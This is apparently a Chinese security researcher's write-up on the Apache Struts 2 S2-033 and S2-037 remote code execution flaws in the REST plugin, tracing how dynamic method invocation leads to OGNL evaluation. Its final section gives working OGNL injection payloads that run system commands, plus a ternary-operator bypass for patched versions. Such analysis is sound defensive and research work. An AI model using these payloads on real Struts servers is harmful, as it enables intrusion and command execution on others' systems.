S2-033 影响版本
Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
S2-037 影响版本
Struts 2.3.20 - Struts Struts 2.3.28.1
2.3.20.3 & 2.3.24.3 & 2.3.28.1 为s2-033修复版本
吐槽:33跟32其实关系不大,只是payload大致通用,37算33的绕过。
0x01 踩坑
测试基于2.3.20 rest-showcase
理解struts.xml配置容易让人头大
<!--默认包路径包含action,actions,struts,struts2的所有包都会被struts作为含有Action类的路径来搜索 -->
<constant name="struts.convention.package.locators" value="action,actions,struts,struts2"/>
0x02 分析
根据是否开启动态方法调用
,分为两种情况
<constant name="struts.enable.DynamicMethodInvocation" value="true"/>
如果开启,可以使用 action名 +
!
+ 方法名 进行方法调用另外还支持 action名 +
/
+ ID +/
+ 方法名 进行方法调用
跟进分析
DynamicMethodInvocation == True
重点在PrepareOperations.findActionMapping,调用RestActionMapper.getMapping
第一个断点处,获取合法后缀,而this.extensions定义来源于rest包下的struts-plugin.xml
<constant name="struts.action.extension" value="xhtml,,xml,json" />
然后进去第二个断点处,首先判断是否有
!
,如果有!
且动态方法调用开启
,则将!
后的字符串填充method
private void handleDynamicMethodInvocation(ActionMapping mapping, String name) { int exclamation = name.lastIndexOf("!"); if (exclamation != -1) { mapping.setName(name.substring(0, exclamation)); if (this.allowDynamicMethodCalls) { mapping.setMethod(name.substring(exclamation + 1)); } else { mapping.setMethod((String)null); } } }
接着RestActionInvocation顺序执行所有拦截器,(RestActionInvocation继承DefaultActionInvocation),遍历之后通过DefaultActionInvocation.invokeActionOnly实现Action调用
public String invoke() throws Exception { String profileKey = "invoke: "; String var21; try { UtilTimerStack.push(profileKey); if (this.executed) { throw new IllegalStateException("Action has already executed"); } if (this.interceptors.hasNext()) { ... } else { this.resultCode = this.invokeActionOnly(); } ...
然后这里(竟然)直接用ognl执行
DynamicMethodInvocation == False
- 如果为False则在第二个断点处不会添加method,但是在第三个断点处会重复两次对
/
进行判断,然后将最后的字符串作为method(这里要注意//
中间必须有数据,不然会被解析成/
无法添加为method)
流程梳理
【占坑】没啥好梳理的
0x03 利用条件
分为 DynamicMethodInvocation 是否为true
0x04 利用方式
1. 低版本
True
!%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%23parameters.cmd%2C%23a%3Dnew%20java.lang.ProcessBuilder%28%23cmd%29.start%28%29.getInputStream%28%29%2Cnew%20java.lang.String.xhtml?cmd=/Applications/Calculator.app/Contents/MacOS/Calculator
False
一样的payload,去掉
!
并保证../../..
路由有效性即可
2. 巧妙的绕过OGNL
以上POC有限制,在最新的2.38.1和2.3.20.1等版本中,无法让OGNL执行多条语句。
通过三目运算符这个方式绕过
(#mem=#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?@java.lang.Runtime@getRuntime().exec(#parameters.cmd):index.xhtml?cmd=calc
so great~ 相当于执行了两条语句。
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
@java.lang.Runtime@getRuntime().exec(#parameters.cmd)
依次类推,可以做很多事情~